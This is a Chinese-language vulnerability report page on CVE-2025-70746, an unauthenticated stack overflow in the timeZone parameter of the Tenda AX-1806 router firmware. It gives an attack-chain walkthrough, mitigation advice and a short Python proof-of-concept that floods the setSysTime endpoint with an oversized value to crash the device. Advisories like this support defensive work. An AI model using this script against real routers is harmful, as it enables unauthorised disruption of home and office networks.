IPBUF安全漏洞报告
English
CVE-2025-70746 CVSS 7.5 高危

CVE-2025-70746 | Tenda AX-1806 路由器 timeZone 参数栈溢出导致拒绝服务

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-70746
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX-1806 v1.0.0.1

相关标签

CVE-2025-70746栈溢出拒绝服务高危Tenda AX-1806路由器漏洞缓冲区溢出IoT安全嵌入式设备漏洞timeZone参数

漏洞概述

CVE-2025-70746是Tenda AX-1806 v1.0.0.1路由器固件中存在的一个高危安全漏洞。该漏洞位于路由器的系统时间设置功能中,具体表现为fromSetSysTime函数的timeZone参数存在栈缓冲区溢出问题。攻击者无需任何认证即可通过发送精心构造的恶意请求触发该漏洞,导致设备拒绝服务(DoS)。根据CVSS 3.1评分标准,该漏洞获得7.5分,属于高危级别。漏洞的CVSS向量为AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H,表明攻击者可通过网络远程利用,无需特殊权限或用户交互。Tenda AX-1806是一款面向家庭和小型办公环境的WiFi 6路由器,其web管理界面存在此安全缺陷。攻击者利用该漏洞可造成路由器服务中断,影响网络正常运行。此类拒绝服务漏洞虽然不直接导致远程代码执行,但可被用于网络破坏活动或作为更大规模攻击的一部分。

技术细节

该漏洞的根本原因在于fromSetSysTime函数对timeZone参数的处理存在边界检查缺失。在C/C++编程中,栈溢出通常发生在向固定大小的栈缓冲区写入超过其容量的数据时。具体到本漏洞,函数在接收用户输入的timeZone参数后,直接将其复制到栈上的局部变量缓冲区,而未验证输入长度是否在缓冲区可容纳范围内。当攻击者发送超长的timeZone参数值时,多余的数据会覆盖栈帧中的其他重要数据,包括函数返回地址、保存的寄存器值等。攻击者可以通过精确控制溢出数据,将返回地址指向恶意代码或现有函数调用链,从而实现代码执行或使程序崩溃。在路由器固件环境中,栈溢出往往发生在处理HTTP请求参数的代码中,因为web服务器组件需要解析用户提交的表单数据。修复此类漏洞需要使用安全的字符串处理函数(如strncpy、snprintf等)或在复制前进行长度验证。

攻击链分析

STEP 1
步骤1: 侦察与信息收集
攻击者识别目标Tenda AX-1806路由器,获取其IP地址和管理界面访问地址。攻击者通过扫描发现路由器型号和固件版本。
STEP 2
步骤2: 构造恶意请求
攻击者构造包含超长timeZone参数的HTTP POST请求。该参数值长度远超正常范围(如500-1000字节),目的是触发栈缓冲区溢出。
STEP 3
步骤3: 发送漏洞利用载荷
攻击者将恶意请求发送至路由器的/cgi-bin/v1/setSysTime端点。由于路由器web服务无需认证即可访问此接口,攻击可远程执行。
STEP 4
步骤4: 触发栈溢出
路由器固件中的fromSetSysTime函数接收timeZone参数后,将其复制到栈缓冲区而未进行长度检查。超长输入覆盖栈帧中的返回地址和关键数据。
STEP 5
步骤5: 导致拒绝服务
栈溢出破坏程序控制流,导致路由器进程崩溃或进入异常状态。路由器可能重启或完全失去响应,从而造成网络中断。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-70746 PoC - Tenda AX-1806 timeZone Stack Overflow # Target: Tenda AX-1806 Router (firmware v1.0.0.1) # Vulnerability: Stack overflow in fromSetSysTime function via timeZone parameter target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 url = f"http://{target_ip}/cgi-bin/v1/setSysTime" # Generate payload with oversized timeZone parameter to trigger stack overflow # The exact overflow length depends on the specific firmware version payload_size = 500 # Adjust based on testing timeZone_payload = "A" * payload_size data = { "timeZone": timeZone_payload, "ntpServer": "pool.ntp.org", "timezone_region": "GMT+8" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Response status: {response.status_code}") print(f"[+] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[+] Exploit sent - router may have crashed or rebooted")

影响范围

Tenda AX-1806 v1.0.0.1

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1) 通过访问控制列表(ACL)限制对路由器管理端口(80/443)的访问,仅允许受信任的IP地址管理路由器;2) 禁用路由器的WAN口远程管理功能,只允许通过LAN口本地访问;3) 定期检查路由器状态,发现异常及时重启恢复;4) 考虑使用VPN连接后再访问路由器管理界面,增加访问控制层级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表